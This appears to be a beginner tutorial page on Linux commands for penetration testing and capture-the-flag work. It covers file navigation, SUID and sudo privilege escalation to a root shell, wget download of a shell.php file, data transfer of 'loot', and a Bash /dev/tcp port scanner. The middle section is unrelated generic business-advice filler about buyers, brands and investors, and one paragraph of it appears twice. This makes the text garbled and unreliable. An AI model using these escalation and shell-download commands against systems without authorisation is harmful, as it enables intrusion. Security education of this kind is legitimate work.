Linux for Ethical Hacking: The Essential Commands and Skills You Need

Understanding ethical hacking is the foundation of this guide. Below we break it down step by step so you can act with confidence.

Linux is the operating system of cybersecurity. Nearly every security tool, from Nmap to Metasploit to Burp Suite, runs on Linux. Kali Linux alone ships with over 600 pre-installed security tools. If you cannot navigate a Linux terminal, you cannot do security work.

This lesson teaches you the Linux skills that matter for hacking — not system administration trivia, but the commands and concepts you will use daily in penetration testing, CTF competitions, and security research.

Ethical Hacking: Essential file system navigation

The Linux file system is a tree starting at /. Everything — devices, processes, configuration — is a file.

# Where am I?
$ pwd
/home/kali

# List files with details (permissions, size, dates)
$ ls -la
drwxr-xr-x 2 kali kali 4096 Oct 26 10:00 Desktop
-rw-r--r-- 1 kali kali  220 Oct 26 09:00 .bash_logout

# Key directories for security work:
# /etc/passwd      — user accounts (readable by all)
# /etc/shadow      — password hashes (root only)
# /var/log/        — system logs (auth.log, syslog)
# /tmp/            — world-writable temp directory
# /opt/            — third-party tools install here
# /proc/           — running process information

# Find files by name:
$ find / -name "*.conf" 2>/dev/null | head -10

# Find files modified in the last hour:
$ find /var/log -mmin -60 -type f

# Search inside files:
$ grep -r "password" /etc/ 2>/dev/null

Permissions, users, and privilege escalation basics

Linux permissions determine who can read, write, and execute files. Understanding permissions is critical because privilege escalation — going from a normal user to root — is one of the most important post-exploitation skills.

# Permission format: rwxrwxrwx (owner-group-others)
# r=read(4) w=write(2) x=execute(1)

$ ls -la /etc/shadow
-rw-r----- 1 root shadow 1.2K Oct 26 10:00 /etc/shadow
# Only root can write, shadow group can read

# Find files with SUID bit (runs as owner, not caller)
$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/find    # ← If 'find' has SUID, it's exploitable!

# SUID exploit example (if find has SUID bit):
$ find . -exec /bin/sh -p \;
# This spawns a root shell because find runs as root

# Find world-writable files:
$ find / -writable -type f 2>/dev/null

# Check sudo privileges:
$ sudo -l
User kali may run: (ALL) NOPASSWD: /usr/bin/vim
# vim with sudo = root shell via :!bash

Essential networking commands

Network commands you will use in every engagement:

# Your IP address and interfaces:
$ ip addr show
# or shorter:
$ ip a

# Active connections and listening ports:
$ ss -tlnp
# t=TCP, l=listening, n=numeric, p=process
State  Local Address:Port  Process
LISTEN 0.0.0.0:22          sshd
LISTEN 0.0.0.0:80          apache2

# Route table (where traffic goes):
$ ip route
default via 192.168.1.1 dev eth0

# ARP table (who's on the local network):
$ arp -a
? (192.168.1.1) at aa:bb:cc:dd:ee:ff [ether] on eth0

# Download files:
$ wget https://example.com/shell.php -O /tmp/shell.php
$ curl -s https://api.ipify.org  # your public IP

# Transfer files between machines:
$ python3 -m http.server 8080  # serve current directory
# On attacker: wget http://target:8080/loot.txt

Bash scripting for security

Automating repetitive tasks with Bash scripts saves hours during engagements. Even simple scripts make you faster than manually running commands.

#!/bin/bash
# Simple port scanner — scan common ports on a target
TARGET=$1
if [ -z "$TARGET" ]; then
  echo "Usage: ./portscan.sh <target-ip>"
  exit 1
fi

echo "Scanning $TARGET..."
for PORT in 21 22 25 53 80 110 143 443 993 995 3306 3389 8080; do
  (echo >/dev/tcp/$TARGET/$PORT) 2>/dev/null && \
    echo "[OPEN] Port $PORT" || \
    echo "[CLOSED] Port $PORT"
done

# Usage:
# chmod +x portscan.sh
# ./portscan.sh 192.168.1.1

# Output:
# Scanning 192.168.1.1...
# [OPEN] Port 22
# [CLOSED] Port 25
# [OPEN] Port 80
# [OPEN] Port 443

When evaluating ethical hacking, start with the fundamentals: what problem it solves, who it serves, and how it compares to the alternatives buyers consider first.

Start with the fundamentals. Define who you are serving, the single outcome you want, and the budget you are comfortable committing before you compare any options.

A practical rule is to favour clarity over cleverness. The choice that is easiest to understand, spell, remember and act on tends to win over the long run.

Context changes the answer. What is optimal for a fast-moving startup is rarely optimal for an established brand, so weigh your own stage, market and ambitions.

Avoid the common mistakes: rushing the decision, copying competitors blindly, and ignoring the total cost of ownership beyond the very first year of use.

Think in terms of trade-offs rather than a single perfect answer. Every option trades memorability, cost, reach and flexibility in a slightly different mix.

Document your reasoning. Writing down why you chose one path makes it far easier to revisit the decision later and to explain it to partners and investors.

Test with real people. A quick check with a handful of your actual customers will surface problems that no amount of internal debate ever reveals.

Plan for growth. The option that fits today should still make sense when your audience, catalogue or team is several times larger than it is right now.

Finally, revisit the decision periodically. Markets, tools and best practices move quickly, and a choice that was ideal last year may deserve a fresh look today.

When evaluating ethical hacking, start with the fundamentals: what problem it solves, who it serves, and how it compares to the alternatives buyers consider first.

Frequently asked questions

Should I use Kali Linux as my daily OS?

No. Kali is designed for penetration testing, not daily use — it runs as root by default and has security tools that could be dangerous if misconfigured. Use it in a VM for security work and keep a stable OS (Ubuntu, Fedora, macOS) for daily tasks.

How long does it take to learn Linux well enough for security?

You can learn the essential commands in 1-2 weeks of daily practice. Comfortable fluency for security work takes 1-3 months. The key is using Linux as your primary terminal — muscle memory comes from repetition, not reading.